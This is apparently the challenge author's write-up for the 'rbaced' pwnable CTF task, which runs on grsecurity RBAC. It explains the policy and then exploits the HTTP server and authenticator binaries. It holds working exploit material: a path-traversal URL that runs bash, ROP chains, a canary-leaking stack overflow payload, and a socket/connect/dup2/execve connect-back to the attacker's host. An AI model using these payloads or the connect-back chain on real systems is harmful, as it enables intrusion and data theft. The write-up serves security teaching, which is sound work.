rbaced – a CTF introduction to grsecurity’s RBAC

Description

rbaced was a pwnable challenge at last week-end’s Insomni’hack Teaser, split in 2 parts: rbaced1 and rbaced2.

TL;DR: grsecurity/PaX can prevent introducing executable memory in a process or execute untrusted binaries, and make your life miserable.

The description:

This coffee machine can be controlled from your smartphone.
We can’t provide the app itself, however we found the HTTP server running on the machine… which seems to be *very* crappy and subject to several lame vulnerabilities.
Since the binaries can’t be recompiled, administrators have attempted to harden the system with grsecurity…
Read /flag_part1 to get the flag for part I. [200pts]
Run /getflag_part2 to get the flag for part II. [300pts]
Challenge files | Link
Your coffee creds: <login> / <password>

FYI: This is a pwnable, not a web. No kernel exploit involved πŸ™‚

As just described, this challenge is running on a system hardened with grsecurity. While a large part of grsecurity is kernel self-protection, this challenge focuses on userland protections.
Since hiding deployment details doesn’t add any fun to a CTF task, we provided everything required to run the challenge in the same context than the online instance:

rbaced/
    rbaced/
    β”œβ”€β”€ etc/
    β”‚Β Β  β”œβ”€β”€ grsec/
    β”‚Β Β  β”‚Β Β  β”œβ”€β”€ policy                         # RBAC policy for default roles
    β”‚Β Β  β”‚Β Β  └── roles/
    β”‚Β Β  β”‚Β Β      β”œβ”€β”€ groups/
    β”‚Β Β  β”‚Β Β      └── users/
    β”‚Β Β  β”‚Β Β          β”œβ”€β”€ authenticator          # definition of the authenticator role
    β”‚Β Β  β”‚Β Β          └── rbaced                 # definition of the rbaced role
    β”‚Β Β  β”œβ”€β”€ sysctl.d/
    β”‚Β Β  β”‚Β Β  └── 05-grsecurity.conf             # runtime grsecurity options (shows deter_bruteforce is disabled among others)
    β”‚Β Β  └── xinet.d/                           # fail in the directory name πŸ˜‰
    β”‚Β Β      └── authenticator                  # associates incoming 127.0.0.1:4242 requests to the authentication binary
    β”œβ”€β”€ home/
    β”‚Β Β  β”œβ”€β”€ authenticator/
    β”‚Β Β  β”‚Β Β  β”œβ”€β”€ authenticator                  # authentication binary (compiled with SSP/PIE/RELRO/FORTIFY)
    β”‚Β Β  β”‚Β Β  └── creds_db.txt                   # hashed credentials
    β”‚Β Β  └── rbaced/
    β”‚Β Β      β”œβ”€β”€ rbaced                         # HTTP server, handles CGI, static files and errors - no SSP/PIE/RELRO/FORTIFY
    β”‚Β Β      β”œβ”€β”€ rbaced.conf                    # HTTPd configuration file
    β”‚Β Β      └── www/
    β”‚Β Β          β”œβ”€β”€ cgi-bin/
    β”‚Β Β          β”‚Β Β  β”œβ”€β”€ order                  # binary - no SSP/PIE/RELRO/FORTIFY
    β”‚Β Β          β”‚Β Β  └── preferences            # binary that saves preferences in a pref.txt file - no SSP/PIE/RELRO/FORTIFY
    β”‚Β Β          β”œβ”€β”€ index.html
    β”‚Β Β          β”œβ”€β”€ static/*                   # static files (css, js, images...)
    β”‚Β Β          └── userdata/                  # writable directory to save preferences
    β”œβ”€β”€ lib/
    β”‚Β Β  └── x86_64-linux-gnu/
    β”‚Β Β      └── libc.so.6                      # libc to get the same offsets than the online host
    β”œβ”€β”€ README
    └── usr/
        └── src/
            β”œβ”€β”€ config-4.3.3-grsec             # kernel config
            └── linux-image-4.3.3-grsec.deb    # kernel and modules for debian/ubuntu (same as online)

Once these files were copied/installed, you just had to download and install gradm.
Run gradm -E after setting passwords as instructed, and you’re ready to go!

The RBAC policy

A grsecurity RBAC policy is pretty easy to understand. It is documented here. Role, subject and object modes can be found in links in the appendix here.

The rbaced role is defined as follows:

role rbaced uT
subject /
    /                                       h
    /etc/ld.so.cache                        r
    /dev/urandom                            r
    /dev/random                             r
    /lib/x86_64-linux-gnu                   rx
    /lib64                                  rx
    /home/rbaced/www/index.html             r
    /home/rbaced/www/cgi-bin/               x
    /home/rbaced/www/userdata/              cdrw
    /home/rbaced/www/static/                r

    $grsec_denied

    -CAP_ALL
    +PAX_MPROTECT
    +PAX_RANDMMAP
    RES_CPU 25s 25s
    connect disabled
    bind disabled

subject /home/rbaced/rbaced
    /flag_part1                             r
    /home/rbaced/rbaced.conf                r
    /home/rbaced/rbaced                     x

    +PAX_MPROTECT
    +PAX_RANDMMAP
    RES_CPU 25s 25s
    connect 127.0.0.1:4242 stream tcp
    bind disabled

All objects on the filesystem are hidden ‘h‘ by default, and permissions are granted progressively.
The default subject ( / ) will apply to any process run by user rbaced unless there is another more specific subject matching that process that overrides ACL inheritance with the ‘o‘ mode (more info).
Thus, our CGI binaries in /home/rbaced/www/cgi-bin/ will run with default ACLs, and /home/rbaced/rbaced will have several additional permissions, including the authorization to execute itself.

The authenticator role implements similar restrictions but allows to execute /getflag_part2.

Just by looking at the RBAC policy, we can already deduce that to solve rbaced1 we have to exploit rbaced (only process that can read /flag_part1), and authenticator for rbaced2 (only process that can exec /getflag_part2). We also know that authenticator is bound on localhost and only rbaced can connect to it, so we will have to exploit authenticator through rbaced, somehow. Also worth noting is that there is nothing in the authenticator role that specifically disables connect/bind. As a result it is enabled by default.

The vulnerabilities

Before we delve into the vulnerabilities, let’s summarize the logic implemented in the challenge.

The rbaced binary operates in two modes:

  • Server mode: run as root with --config=/home/rbaced/rbaced.conf --daemon. This is the HTTP server listening on port 8080. It drops privileges to rbaced/rbaced, thereby transitioning into the rbaced role, then returns the output of a CGI binary or an error. If the file exists and is not a CGI binary, it executes itself as a client instead.
  • Client mode: acts as a CGI binary and returns either the index, the file in env['SCRIPT_NAME'] or the file provided by the --file option. It checks if the file belongs to the env['SERVER_ROOT']

The CGI binaries (requiring authentication) are:

  • preferences: a form to save your favorite coffee preferences (sugar, cream, strength…). It saves those in a pref.txt file unique to the IP/creds
  • order: a form that loads existing preferences, but does nothing useful.

The authenticator binary takes base64-encoded input (from Authorization: Basic) and verifies that it matches valid credentials. Each team had different credentials during the CTF for isolation purposes.

As suggested in the description – the vulnerabilities are not quite sophisticated:

  1. cgi-bin/preferences allows to write almost arbitrary content to the pref.txt file. Ex: “sugar = <urldecode(POST['sugar'])>
  2. rbaced checks whether it should execute a CGI binary or itself by examining if the requested file starts with "/cgi-bin/" and executes the CGI directly from its filename, and is therefore vulnerable to a path traversal. Conveniently, the query string is also mapped to argv in the executed CGI.
  3. rbaced, when executed as a server, may parse its configuration from a config file. Each line is copied in a stack buffer of 1024 bytes with strcpy, leading to a straight buffer overflow.
  4. authenticator receives (in a loop) a base64-encoded Authorization-Basic string, decodes it in a stack buffer and prints "OK - Credentials accepted" or "KO - Invalid credentials '<decoded string>'". It is vulnerable to an even more obvious stack buffer overflow.

Solution for rbaced1

In a normal setup, vulnerability 2 would be as straight-forward as visiting the following page with valid credentials:

/cgi-bin/../../../../bin/bash?-c&echo+-e+"Content-Type:+flag\n\n";cat+/flag_part1

However, because of the policy, there is no bash:

[277417.298629] grsec: From <IP>: (rbaced:U:/home/rbaced/rbaced) denied access to hidden file /bin/bash by /home/rbaced/rbaced[rbaced:5409] uid/euid:1001/1001 gid/egid:1001/1001, parent /home/rbaced/rbaced[rbaced:2023] uid/euid:0/0 gid/egid:0/0

Instead, we can combine vulnerabilities 1 and 2 to reach vulnerability 3. Vulnerability 1 lets us craft a fake configuration file, which is then fed to vulnerability 2:

req = requests.get("http://%s:%s/cgi-bin/../../rbaced?--daemon&--config=userdata/%s/pref.txt" % (HOST, PORT, pref_hash), auth=auth)
print req.content

Since the overflow is caused by strcpy, we can’t have null bytes in our payload. This is however trivially bypassed by crafting null bytes on the stack using strcpy‘s terminating null byte in subsequent lines (but will increase the configuration file size a lot).
We cannot execute the classic system function, but an open/read/write ropchain does the job. The parent rbaced process expects a "Content-Type" and "\n\n" in the CGI output, so a simple call to puts("Content-Type: %s\n\n") must be prepended. The configuration User and Group fields are stored in BSS, which makes it convenient to store the flag path.

stage1 = rop([
    # print the Content-Type line (if we don't the server will raise a 500 error)
    stage1_call_func(elf.plt['puts'], content_type),
    # fd = open(flag, O_RDONLY)
    stage1_call_func(elf.plt['open'], bss_user, constants.O_RDONLY),
    # read(fd, &bss, size) -- size in rdx = stack addr (large enough)
    stage1_call_func(elf.plt['read'], 0x3, bss_addr, None),
    # print flag
    stage1_call_func(elf.plt['puts'], bss_addr),
    stage1_call_func(elf.plt['exit'], 200),
])

stage1_call_func builds a function call using adequate pop reg gadgets. pop rdi and pop rsi gadgets are easy to find, pop rdx a bit more tricky, but not necessary at this stage.

Flag: INS{We need to ROP deeper!}

Solution for rbaced2

Meet your enemies:

So far the only feature that has prevented us from exploiting things as desired is the filesystem ACLs, so we weren’t able to execute arbitrary binaries on the filesystem.

As mentioned earlier we will need to exploit the authenticator service from our rbaced exploit. In this situation our best option is to introduce new PROT_EXEC memory so we can execute a shellcode. However PaX’s MPROTECT is set (by default since kernel.pax.softmode = 0, but also through the RBAC policy), which prevents malicious use of mprotect/mmap with PROT_EXEC.

The MPROTECT feature does not protect against a open+mmap of a file with PROT_EXEC, but two other grsecurity features prevent it from happening:

  • Trusted Path Execution (TPE): prevents us fromΒ executing code from untrusted files (not owned by root), so we cannot execute a binary created by our exploit, mmapΒ it with PROT_EXEC, LD_PRELOAD, etc. TPE can beΒ setΒ on a gid, but here it was set in theΒ policy with the ‘T‘ role mode.
  • RBAC policy: the only place where we can write files is /home/rbaced/www/userdata/, which has “rw” modes only. It lacks the “x” mode, which is described as:
    This object can be executed (or mmap'd with PROT_EXEC into a task).

Attempts to introduce executable code will result in errors like:

[332824.278775] grsec: From <IP>: (rbaced:U:/) denied untrusted exec (due to being in untrusted role and file in group-writable directory) of /home/rbaced/www/userdata/test.so by /home/rbaced/www/cgi-bin/test[test:29446] uid/euid:1001/1001 gid/egid:1001/1001, parent /home/rbaced/rbaced[rbaced:29443] uid/euid:1001/1001 gid/egid:1001/1001
[332824.295676] grsec: From <IP>: (rbaced:U:/) denied RWX mprotect of /home/rbaced/www/cgi-bin/test by /home/rbaced/www/cgi-bin/test[test:29446] uid/euid:1001/1001 gid/egid:1001/1001, parent /home/rbaced/rbaced[rbaced:29443] uid/euid:1001/1001 gid/egid:1001/1001

So, as hinted in the rbaced1 flag, we don’t have much choice left: we must do everything through ROP!

Exploiting authenticator:

Exploiting the standalone authenticator binary is straight-forward: the stack buffer overflow is introduced by a base64decode, which means the last byte of the overflow is under control. If we decode 2056+1 bytes we overwrite the first byte of the stack smashing protector (SSP), which is always a null byte.

The error message prints the incorrect decoded credentials and therefore can be used to leak the SSP. It makes it possible to also leak the base address of the authenticator elf (PIE enabled) and a libc address in further requests.

All file descriptors are closed before the execution flow is diverted to our payload, but using the previous leaks we can build a ropchain that will connect-back to us (remember that this is allowed by RBAC on this role) and execute the /getflag_part2 binary, whose address can be stored in BSS:

ropchain = [
    stage2_call_func(libc.symbols['socket'], constants.AF_INET, constants.SOCK_STREAM, 0),
    stage2_call_func(libc.symbols['connect'], sockfd, auth_bss_encoded, 16),
    stage2_call_func(libc.symbols['dup2'], sockfd, constants.STDOUT_FILENO),
    stage2_call_func(libc.symbols['execve'], auth_bss_encoded + 16, 0, 0),
]

payload = "A" * 2056
payload += struct.pack("<Q", ssp)
payload += "JUNKJUNK" * 7
payload += rop(ropchain)

ROP proxy, stage1:

The authenticator exploit has to be dynamic, but we can’t interact with our exploit directly because of the way CGI works. To make it even more painful, RBAC prevents connect-backs from rbaced processes. Building a dynamic exploit in a static ROP chain is going to be very, very painful… Fortunately, in this case,Β there is a way to make things much easier.

Remember that the /home/rbaced/rbaced subject also inherits ACLs from the default subject of role rbaced. It means rbaced is able to read and write files to /home/rbaced/www/userdata/. Therefore our ropchain can interact with us through files.

The attack plan is:

stage1 ropchain sploit.py
write libc addresses (GOT entries) to a leak.txt file
sleep
download leak.txt
upload stage2 ropchain in pref.txt
sleep
read stage2 ropchain from pref.txt
pivot to stage2

sleep is not in the binary’s PLT and we don’t have a libc leak yet, but we can add its offset to an existing resolved GOT entry (no RELRO). To do so we can use the following gadgets (rax, rbp and rbx can be popped from the stack directly):

mov rdx, [rsp+0x10] # mov rax, [rsp+0x18] # add rax, rdx # mov byte [rax], 0x00000000 # mov rax, [rsp+0x10] # add rsp, 0x28 # ret
adc [rbp-0x41], ebx # sbb byte [rdx+0x60], 0x00000000 # jmp rax

We can store the stage2 in the heap so it can be as large as needed and won’t require further pivots. There’s a readall function in the binary that reads everything from a file descriptor and stores it in the heap. The return value is in rax so we need to set rsp = rax to pivot to our stage2 ropchain.

mov [rsp+0x30], rax # nop # add rsp, 0x20 # ret
pop rsp # pop r13 # pop r14 # pop r15 # ret

ROP proxy, stage2:

The stage2 ropchain will be bigger, but easier to write, since we have a lot more gadgets available using the libc leak.
The stage2 layout is :

[ ropchain ][ pad ][ payload_leak_ssp ][ pad ][ payload_leak_libc ][ pad ][ payload_leak_pie ][ pad ][ connect_back_struct ]

It does the following:

  1. Create a new TCP socket sockfd
  2. Connect sockfd to 127.0.0.1:4242
  3. Open leak.txt as fd for writting
  4. Send payload to leak SSP and log output to fd
  5. Send payload to leak libc and log output to fd
  6. Send payload to leak PIE and log output to fd
  7. Close fd and wait for the final payload to be uploaded
  8. Open pref.txt file for reading
  9. Read then send the final overflow payload to sockfd
  10. Send "/getflag_part2" and the connect-back sockaddr_in structure to sockfd
  11. Close sockfd and exit rbaced

In parallel during step 7 the exploit downloads the leak.txt file, generates and uploads the final payload as described in “Exploiting authenticator“.
Once the sockfd socket is closed at step 11, the last ropchain gets triggered inside the authenticator process, which sends the flag to our connect-back server.

[*] Loaded cached gadgets for 'files/rbaced' @ 0x400000
[*] Loaded cached gadgets for 'files/libc.so.6' @ 0x0
[*] Stage1 length: 448
[*] Uploading crafted config file
[*] Launch server with crafted config
[*] Retreive leak file
[+] Leaked __libc_start_main: 0x67ac86dfcdd0
[+] Libc base: 0x67ac86ddb000
[*] Uploading stage2 ropchain
[*] Stage2 length: 2032
[*] Retreive auth_service leak file
[+] Leaked auth_service SSP: 0x1bece49b84712100
[+] Leaked auth_service libc address: 0x6b3593580ec5
[+] auth_service libc base: 0x6b359355f000
[+] Leaked auth_service main base: 0x6652b188e80
[+] auth_service BSS buffer address: 0x6652b38a040
[*] Uploading auth_service exploit
[+] Exploit finished.
connect to [<IP>] from ec2-52-19-102-200.eu-west-1.compute.amazonaws.com [52.19.102.200] 52010
INS{--[ Grsecurity. What else? ]--}

Conclusions

The full exploit can be found here. pwntools must be installed.

This task was in no way a bypass of RBAC, which would likely require more of a kernel exploit. Using the (full system) learning mode can help avoid some of the mistakes introduced on purpose in this challenge.

Congratulations to Dragon Sector and Tasteless for solving both tasks during the CTF!

Published by